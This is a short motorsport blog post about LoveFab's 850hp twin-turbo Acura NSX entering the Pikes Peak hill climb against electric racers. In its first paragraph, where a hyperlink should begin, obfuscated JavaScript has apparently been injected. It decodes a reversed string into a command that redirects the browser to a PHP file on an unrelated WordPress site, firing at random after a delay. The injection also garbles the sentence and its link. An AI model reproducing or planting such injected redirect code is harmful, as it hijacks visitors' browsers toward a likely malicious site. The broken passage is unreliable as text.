Pikes Peak. 850hp Twin-Turbo NSX. Shooting For The Heavens

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As the anticipation builds for this year’s rescheduled $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/pikes-peak-international-hill-climb-maybe-next-year/” target=”_blank”>Pikes Peak International Hill Climb some of the teams are teasing us with press releases of their mountain monsters.

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LoveFab for example will be tackling the Race to the Clouds this year in an 850hp, twin-turbo NSX piloted by owner Cody Loveland and sponsored by HRE Wheels.

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After seeing these short videos of a LoveFab NSX testing with only a miserly 500hp at the wheels we wonder if some of the other teams, including Nobuhiro ‘Monster’ Tajima, will be regretting the decision to run electric racers this year.

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A claimed 600hp at the wheels is hard to argue with but, unlike the electric cars, it will struggle for power at the higher altitudes. A battle between high octane and battery power will be fought this year and the conclusion is far from certain. I guess we will find out on the 12th of August.

Shots courtesy of HRE Wheels